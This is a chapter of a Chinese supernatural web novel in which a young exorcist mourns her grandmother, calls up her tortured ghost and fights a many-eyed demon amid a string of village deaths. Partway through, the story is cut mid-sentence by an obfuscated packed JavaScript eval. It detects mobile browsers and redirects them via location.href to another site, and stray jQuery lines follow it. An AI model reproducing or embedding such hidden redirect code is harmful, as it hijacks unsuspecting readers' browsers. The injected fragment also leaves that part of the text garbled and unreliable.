王小禾低着头,脸羞得通红,又说道:“我是人。”
无桓低头看向王小禾,眼睛仍旧瞪得大大的,她什么意思?觉得我配不上她?她是人,我不是人,我活了几百年配不上一个凡人小崽子?
“我知道”无桓憋了半天还是开口道。
“嗯”王小禾低着头应了一声,眼睛不安地到处乱看,手指也跟着忙乱起来。
她忽地站起身,不想被无桓看到她红彤彤的脸,她背对着他眼睛去看向山下自己的家。
“天不早了,我该回去了”她说完就跑了。
无桓愣愣地看着远处刚刚透白的天,不早了吗?这不是刚早上?
最近村子里经常死人,这几日内已经接连死了五六个人了,都说人刚过世的时候最喜欢勾生者魂魄,身体不好的就容易被勾走了。
王小禾在刚跑下山的时候就隐隐约约听到了哀乐的声音,祖母这几日身子一直不大好,她忽生出一种不好的预感,急忙忙向着家里赶去,那声音越发的清晰,及至家门的时候正看到家中坐了一排鼓乐手正吹吹打打的奏着哀乐,她脚下一软险些摔倒在地。
她撞开房门跌跌撞撞直奔着自己的房间而去,父亲和师父都站在房中,那张破旧的床上躺着个人,整个身子都用白布盖着,必然就是祖母了。
王景安听到声音回过头来,他穿着一身的重孝,迎上前来两步将王小禾拦在老太太床前。
“爹~”王小禾扑通一声跪在地上痛哭起来。
王景安用力将小禾拉起,已经无暇去顾及问她昨夜去了哪里,见她无恙只轻拍了拍她的肩膀安慰道:
“你祖母昨天夜里走的,我早上来时见她模样很是安详,她受了一辈子苦,这算享福去了。”
小禾站在那里,一边哭一边用衣袖摸着眼泪,抽抽嗒嗒地望着祖母的尸身,不一会儿王景川递过来一叠衣服给她道:
“小禾,把这个穿上吧!”
“谢谢老叔”小禾应道,伸手接过后将那孝服套在身上,仍旧对尸体抹着眼泪。
狭小的院落又开始热闹起来,这鼓乐队一响就要吹个三天,虽是断断续续,但也总不得安宁。王小禾只在白天稍睡了一会儿,大部分的时间都是在祖母的灵前跪着,有时候跪着睡着了又踉跄着醒过来,好似在惩罚自己没能最后送祖母一场让她一个人孤零零的走了。
火盆里的纸不停地燃着,化作漆黑的灰烬,王小禾目光呆滞地看着这火,机械般地往里添着纸,哭过一场后眼泪也少了,火光照亮她白皙的脸,屋外天色已深,她的脸平静而悲伤。
祖母这一生过得清苦,年轻时嫁给祖父,祖父好赌,输光了家产不说还将她母子也抵给了债主,祖父这一生未做过什么对的事,唯有在王大仙儿幼时染了重病时一个人背着他走了十几里山路求医将他救治回来,王大仙儿念其恩情才在祖父输得倾家荡产时将祖母与父亲赎回这才免得她母子二人遭受非人之苦。
小禾年幼失了母亲,祖母虽嘴上嫌弃小禾是个丫头,心里待她却是极好的,吃的用的也都是先可着小禾,因着父亲没有再娶,所以小禾生活过得一直还算不错,也未曾受过什么委屈。
在小禾的记忆里祖母的身子一直佝偻着,如今她瘦小枯干的身子终于可以平躺在一口巨大的松木棺材里了。家里穷,打不起楠木棺材,这一口松木棺材散发着松木的清香,熏得整个屋子都是松木的味道。
夕阳渐渐沉下去,屋子里开始昏暗下来,传言人死后七日回魂,过几日等祖母魂魄归来时她还有些话想要与祖母说,她这样想着跪在地上又昏昏沉沉地睡了,迷迷糊糊中听到远方又有哀乐传来,不是她们家的。
王小禾猛地惊醒过来,她细细一听确有哀乐之声,她惊诧地站起身走出门去正撞到要进门来的父亲。
“爹”王小禾叫了一声。
“嗯”王景安应了一声,目光却一直向着村子以南的方向看去嘴里嘟囔着:
“谁家又死人了?像是你二大爷家呢?”
王小禾顺着父亲的目光望过去,二大爷仅比父亲大个四五岁,前几日见他时他正在地里干活,身体看上去不错,怎么会突然就死了呢?
“爹,我去看看”王小禾说,也不等父亲回话就朝着二大爷家跑去。
越靠近二大爷家那哀乐声便越是清晰,等进了门便可确定就是他家了,他的尸体躺在屋里,二大娘在门口抹着眼泪,屋里的堂哥正在为二大爷换衣服。
院子里一时又挤满了人,二大娘不住地跟着身边人说起今日之事,王小禾在边上听了一会儿也听了个大概。
二大爷晨间到了王小禾家去帮忙,回来时也没什么事,下午吃完饭眼睛就睁不开了,就说要睡觉,躺床上一直也没动过,他晚上还有个活要干,二大娘去叫他起床的时候就发现人已经没了。
院子里的人开始传言,都说二大爷是被死人勾走了魂魄,这几日接连的死了六七个,这村子里阴气太重了,连年轻的都开始被勾走了。
鬼魂勾人一事尚不可定论,勾走了人,那没活够的也成了鬼,难免两只鬼见面就要打起来。可是接连的死人又确实有些蹊跷,还是要调查一番才行。
王小禾没有在院子里继续停留,毕竟自己家也是刚死了人,会让人觉得晦气。天色已经大黑了,她只好先回家再说。
看来有些事也就只有鬼才能告诉她了!小禾跪在灵堂里直等着时辰该是午夜了,她才伸手拿出香用着火盆点燃了,又割破指尖将血染在这香上插在祖母的灵前,祖母过世未满一日,魂魄应该还未到地府,她有些话想要问一问祖母。
香缓缓地燃着,随着夜里的寒风向着屋外的方向飘去,血腥气味渐渐顺着烟飘的方向散开,门窗似被什么敲打
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17099285|195695||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
了一番动荡了一阵,很快一股阴冷的气息逼近了王小禾的后背直刺进她的骨子中。
“祖母”王小禾轻声唤道。
后背的寒凉似乎又侵近了一些,可是却没有人回答她的话,她缓缓回过头去,祖母穿着一身寿衣,佝偻着身子安静地立在她的面前。
她站起身向着祖母走近了一步,眼里噙着泪,如今她们天人永隔,这或许是她们最后一次见面了。
昏暗的灯光下祖母眼睛四周满是血痕,眼窝凹陷,里边好似空的,可祖母并不是瞎的,死的时候也未曾受过什么伤。
那她脸上的血痕又是从何而来?王小禾走到祖母面前紧盯着她的眼睛又一次叫道:
“祖母?我是小禾”
祖母张开嘴,动了动,可是什么声音也没有发出来。她虽然早就没几颗牙齿了,可空洞洞的嘴里却连舌头都没有,黑红的血开始顺着嘴角流出,瘪下去的眼角里也跟着不停地往外渗着黑红的血,经过苍老的面颊流向寿衣之上,染红了半个身躯。
祖母尚未经过阎罗殿,没经过审判,又怎会受此刑罚,只能是死后被人拘了魂魄!
所以死去的那些人一定也都是被什么东西拘了魂魄了!王小禾心疼得揪起来刚要伸手去触碰祖母,忽地一根巨大的黑色锁链从天而降直绑在祖母瘦小的身躯之上,王小禾猛地后退一步顿取出黄色符纸扔在上面,那黄纸贴在锁链之上燃起淡蓝色的火,烧得那锁链也变得通红!她又迅速从腰间取出一把桃木匕首猛地朝着那锁链烧红了的部位扔去,好似一把利刃砍在铁锁上顿发出当啷一声响,匕首掉在地上,那锁链却只坏了一角。
祖母被那锁链捆得像个软绵绵的枕头,中间被勒得极细两头挤得肿胀,那锁链不停地往高空飞去拉着祖母的魂体穿过门窗逃走了!
王小禾顿快速地追赶过去,一跃而起跳到房顶,吗黑色锁链带着祖母向南而逃一转眼就消失不见了,她只好一路向南追去,直跑到二大爷家房顶上时忽又感到一股极强的寒意,周围定然有鬼!王小禾忙从衣袖中掏出两张纸符扔在半空,那符纸顿燃烧起来,她又割破手指用血在那火光里画出一道血符叫一声:“现!”
眼前忽红了一片,呜呜咽咽地竟有鬼叫声尖锐地在她耳边响起,后脊忽感到一阵寒凉她猛地回过头竟是一半人高的红色小鬼,那小鬼十分眼熟,它对着王小禾笑起来,那嘴不是嘴,竟是一直巨大的眼睛!
王小禾被吓了一跳,瞳孔立时变得一红一黑,她忙甩出一把纸符向着那小鬼扔去,那小鬼猛地一个跳跃飞起来,纸符落空散在房顶之上,王小禾用手指着那纸符用力向上一提,那纸符竟听话地飞起又呼啸着向着那小鬼飞去!
那小鬼似乎并不想与王小禾打起来,跳上高空想要去逃却被纸符拦住去路,它睁开眼,满脸无数的眼睛瞪着那些纸符,纸符顿冒出黑烟顷刻间化成了灰。